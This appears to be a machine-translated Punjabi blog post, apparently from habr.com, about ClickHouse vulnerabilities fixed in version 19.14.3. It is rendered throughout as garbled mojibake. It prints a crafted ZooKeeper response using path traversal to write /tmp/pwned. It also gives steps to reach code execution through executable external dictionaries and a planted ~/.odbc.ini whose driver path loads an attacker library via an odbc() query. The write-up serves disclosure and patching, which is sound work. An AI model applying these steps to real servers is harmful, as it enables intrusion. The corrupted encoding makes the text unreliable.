เจ†เจ—เจฟเจ† เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ clickhouse. เจ…เจœเจฟเจนเจพ เจ•เจฐเจจ เจฒเจˆ, เจนเจฎเจฒเจพเจตเจฐ เจฆเฉเจ†เจฐเจพ เจจเจฟเจฏเฉฐเจคเจฐเจฟเจค เจชเฉเจฐเจคเฉ€เจ•เฉเจฐเจฟเจคเฉ€ เจจเฉ‚เฉฐ เจฌเฉ‡เจจเจคเฉ€ เจฆเจพ เจจเจฟเจฎเจจเจฒเจฟเจ–เจค เจœเจตเจพเจฌ เจตเจพเจชเจธ เจ•เจฐเจจเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ (เจธเจฎเจ เจฆเฉ€ เจธเฉŒเจ– เจฒเจˆ เจฒเจพเจˆเจจ เจฌเฉเจฐเฉ‡เจ• เจธเจผเจพเจฎเจฒ เจ•เฉ€เจคเฉ‡ เจ—เจ เจนเจจ):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

เจ…เจคเฉ‡ เจœเฉ‹เฉœเจจ เจคเฉ‹เจ‚ เจฌเจพเจ…เจฆ ../../../../../../../../../tmp/pwned เจซเจพเจˆเจฒ เจฒเจฟเจ–เฉ€ เจœเจพเจตเฉ‡เจ—เฉ€ /tmp/pwned เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ‡ เจจเจพเจฒ เจนเฉˆเจฒเฉ‹เจซเจฐเฉ‹เจฎเจœเจผเฉ‚เจ•เฉ€เจชเจฐ.

เจซเจพเจˆเจฒ เจฒเจฟเจ–เจฃ เจฆเฉ€ เจธเจฎเจฐเฉฑเจฅเจพ เจจเฉ‚เฉฐ เจฐเจฟเจฎเฉ‹เจŸ เจ•เฉ‹เจก เจเจ—เจœเจผเฉ€เจ•เจฟเจŠเจธเจผเจจ (RCE) เจตเจฟเฉฑเจš เจฌเจฆเจฒเจฃ เจฒเจˆ เจ•เจˆ เจตเจฟเจ•เจฒเจช เจนเจจเฅค

RCE เจตเจฟเฉฑเจš เจฌเจพเจนเจฐเฉ€ เจธเจผเจฌเจฆเจ•เฉ‹เจธเจผ

เจชเฉเจฐเจพเจฃเฉ‡ เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจตเจฟเฉฑเจš, เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจธเฉˆเจŸเจฟเฉฐเจ—เจพเจ‚ เจตเจพเจฒเฉ€ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจจเจพเจฒ เจธเจŸเฉ‹เจฐ เจ•เฉ€เจคเฉ€ เจ—เจˆ เจธเฉ€ เจ•เจฒเจฟเฉฑเจ•เจนเจพเจŠเจธ เจกเจฟเจซเจพเจฒเจŸเฅค เจธเฉˆเจŸเจฟเฉฐเจ—เจพเจ‚ เจซเจพเจˆเจฒเจพเจ‚ XML เจซเจพเจˆเจฒเจพเจ‚ เจนเฉเฉฐเจฆเฉ€เจ†เจ‚ เจนเจจ เจœเฉ‹ เจธเฉ‡เจตเจพ เจธเจผเฉเจฐเฉ‚เจ†เจคเฉ€ เจธเจฎเฉ‡เจ‚ เจชเฉœเฉเจนเจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจซเจฟเจฐ เจ•เฉˆเจš เจ•เจฐเจฆเฉ€ เจนเฉˆ /var/lib/clickhouse/preprocessed_configs. เจœเจฆเฉ‹เจ‚ เจคเจฌเจฆเฉ€เจฒเฉ€เจ†เจ‚ เจ†เจ‰เจ‚เจฆเฉ€เจ†เจ‚ เจนเจจ, เจคเจพเจ‚ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจฆเฉเจฌเจพเจฐเจพ เจชเฉœเฉเจนเจฟเจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆเฅค เจœเฉ‡เจ•เจฐ เจคเฉเจนเจพเจกเฉ‡ เจ•เฉ‹เจฒ เจชเจนเฉเฉฐเจš เจนเฉˆ /etc/clickhouse-server เจนเจฎเจฒเจพเจตเจฐ เจ†เจชเจฃเจพ เจฌเจฃเจพ เจธเจ•เจฆเจพ เจนเฉˆ เจฌเจพเจนเจฐเฉ€ เจธเจผเจฌเจฆเจ•เฉ‹เจธเจผ เจšเฉฑเจฒเจฃเจฏเฉ‹เจ— เจ•เจฟเจธเจฎ เจ…เจคเฉ‡ เจซเจฟเจฐ เจ†เจฐเจฌเจฟเจŸเจฐเฉ‡เจฐเฉ€ เจ•เฉ‹เจก เจจเฉ‚เฉฐ เจšเจฒเจพเจ“เฅค เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจฆเฉ‡ เจฎเฉŒเจœเฉ‚เจฆเจพ เจธเฉฐเจธเจ•เจฐเจฃ เจฎเฉ‚เจฒ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ…เจงเจฟเจ•เจพเจฐ เจชเฉเจฐเจฆเจพเจจ เจจเจนเฉ€เจ‚ เจ•เจฐเจฆเฉ‡ เจนเจจ, เจชเจฐ เจœเฉ‡เจ•เจฐ เจธเจฐเจตเจฐ เจจเฉ‚เฉฐ เจนเฉŒเจฒเฉ€-เจนเฉŒเจฒเฉ€ เจ…เฉฑเจชเจกเฉ‡เจŸ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€, เจคเจพเจ‚ เจ…เจœเจฟเจนเฉ‡ เจ…เจงเจฟเจ•เจพเจฐ เจฌเจฃเฉ‡ เจฐเจนเจฟ เจธเจ•เจฆเฉ‡ เจนเจจเฅค เจœเฉ‡เจ•เจฐ เจคเฉเจธเฉ€เจ‚ เจ‡เฉฑเจ• เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจ•เจฒเฉฑเจธเจŸเจฐ เจฆเจพ เจธเจฎเจฐเจฅเจจ เจ•เจฐ เจฐเจนเฉ‡ เจนเฉ‹, เจคเจพเจ‚ เจธเฉˆเจŸเจฟเฉฐเจ—เจœเจผ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจฆเฉ‡ เจ…เจงเจฟเจ•เจพเจฐเจพเจ‚ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เจฐเฉ‹, เจ‡เจน เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจจเจพเจฒ เจธเจฌเฉฐเจงเจค เจนเฉ‹เจฃเจพ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆ root.

ODBC เจคเฉ‹เจ‚ RCE เจคเฉฑเจ•

เจ‡เฉฑเจ• เจชเฉˆเจ•เฉ‡เจœ เจ‡เฉฐเจธเจŸเจพเจฒ เจ•เจฐเจจ เจตเฉ‡เจฒเฉ‡, เจ‡เฉฑเจ• เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจฌเจฃเจพเจ‡เจ† เจœเจพเจ‚เจฆเจพ เจนเฉˆ clickhouse, เจชเจฐ เจ‡เจธเจฆเฉ€ เจนเฉ‹เจฎ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจจเจนเฉ€เจ‚ เจฌเจฃเจพเจˆ เจ—เจˆ เจนเฉˆ /nonexistent. เจนเจพเจฒเจพเจ‚เจ•เจฟ, เจฌเจพเจนเจฐเฉ€ เจธเจผเจฌเจฆเจ•เฉ‹เจธเจผเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจธเจฎเฉ‡เจ‚, เจœเจพเจ‚ เจนเฉ‹เจฐ เจ•เจพเจฐเจจเจพเจ‚ เจ•เจฐเจ•เฉ‡, เจชเฉเจฐเจฌเฉฐเจงเจ• เจ‡เฉฑเจ• เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจฌเจฃเจพเจ‰เจ‚เจฆเฉ‡ เจนเจจ /nonexistent เจ…เจคเฉ‡ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจจเฉ‚เฉฐ เจฆเจฟเจ“ clickhouse เจ‡เจธ เจจเฉ‚เฉฐ เจฒเจฟเจ–เจฃ เจฒเจˆ เจชเจนเฉเฉฐเจš (SSZB! เจฒเจ—เจญเจ— เจ…เจจเฉเจตเจพเจฆเจ•).

เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจธเจชเฉ‹เจฐเจŸ เจ•เจฐเจฆเจพ เจนเฉˆ เจ“เจกเฉ€เจฌเฉ€เจธเฉ€ เจ…เจคเฉ‡ เจนเฉ‹เจฐ เจกเจพเจŸเจพเจฌเฉ‡เจธ เจจเจพเจฒ เจœเฉเฉœ เจธเจ•เจฆเจพ เจนเฉˆเฅค ODBC เจตเจฟเฉฑเจš, เจคเฉเจธเฉ€เจ‚ เจกเฉ‡เจŸเจพเจฌเฉ‡เจธ เจกเฉเจฐเจพเจˆเจตเจฐ เจฒเจพเจ‡เจฌเฉเจฐเฉ‡เจฐเฉ€ (.so) เจฆเจพ เจฎเจพเจฐเจ— เจจเจฟเจฐเจงเจพเจฐเจฟเจค เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจฆเฉ‡ เจชเฉเจฐเจพเจฃเฉ‡ เจธเฉฐเจธเจ•เจฐเจฃเจพเจ‚ เจจเฉ‡ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจ‡เจน เจธเจฟเฉฑเจงเฉ‡ เจคเฉŒเจฐ 'เจคเฉ‡ เจฌเฉ‡เจจเจคเฉ€ เจนเฉˆเจ‚เจกเจฒเจฐ เจตเจฟเฉฑเจš เจ•เจฐเจจ เจฆเฉ€ เจ‡เจœเจพเจœเจผเจค เจฆเจฟเฉฑเจคเฉ€ เจธเฉ€, เจชเจฐ เจนเฉเจฃ เจ•เจจเฉˆเจ•เจธเจผเจจ เจธเจคเจฐ เจฆเฉ€ เจ‡เฉฑเจ• เจนเฉ‹เจฐ เจธเจ–เจค เจœเจพเจ‚เจš เจจเฉ‚เฉฐ เจœเฉ‹เฉœเจฟเจ† เจ—เจฟเจ† เจนเฉˆ odbc-bridge, เจ‡เจธเจฒเจˆ เจฌเฉ‡เจจเจคเฉ€ เจคเฉ‹เจ‚ เจกเจฐเจพเจˆเจตเจฐ เจฎเจพเจฐเจ— เจจเจฟเจฐเจงเจพเจฐเจค เจ•เจฐเจจเจพ เจนเฉเจฃ เจธเฉฐเจญเจต เจจเจนเฉ€เจ‚ เจนเฉˆเฅค เจชเจฐ เจ•เฉ€ เจนเจฎเจฒเจพเจตเจฐ เจ‰เฉฑเจชเจฐ เจฆเฉฑเจธเฉ‡ เจ—เจ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจนเฉ‹เจฎ เจกเจพเจ‡เจฐเฉˆเจ•เจŸเจฐเฉ€ เจจเฉ‚เฉฐ เจฒเจฟเจ– เจธเจ•เจฆเจพ เจนเฉˆ?

เจšเจฒเฉ‹ เจ‡เฉฑเจ• เจซเจพเจˆเจฒ เจฌเจฃเจพเจˆเจ ~/.odbc.ini เจ‡เจธ เจคเจฐเฉเจนเจพเจ‚ เจฆเฉ€ เจธเจฎเฉฑเจ—เจฐเฉ€ เจฆเฉ‡ เจจเจพเจฒ:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

เจซเจฟเจฐ เจธเจผเฉเจฐเฉ‚เจ†เจค 'เจคเฉ‡ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); เจฒเจพเจ‡เจฌเฉเจฐเฉ‡เจฐเฉ€ เจจเฉ‚เฉฐ เจฒเฉ‹เจก เจ•เฉ€เจคเจพ เจœเจพเจตเฉ‡เจ—เจพ test.so เจ…เจคเฉ‡ RCE เจชเฉเจฐเจพเจชเจค เจ•เฉ€เจคเจพ (เจงเฉฐเจจเจตเจพเจฆ bugloc เจŸเจฟเจช เจฒเจˆ).

เจ‡เจน เจ…เจคเฉ‡ เจนเฉ‹เจฐ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ ClickHouse เจธเฉฐเจธเจ•เจฐเจฃ 19.14.3 เจตเจฟเฉฑเจš เจนเฉฑเจฒ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆเฅค เจ†เจชเจฃเฉ‡ เจ•เจฒเจฟเจ•เจนเจพเจŠเจธ เจ…เจคเฉ‡ เจšเจฟเฉœเฉ€เจ†เจ˜เจฐเจพเจ‚ เจฆเจพ เจงเจฟเจ†เจจ เจฐเฉฑเจ–เฉ‹!

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹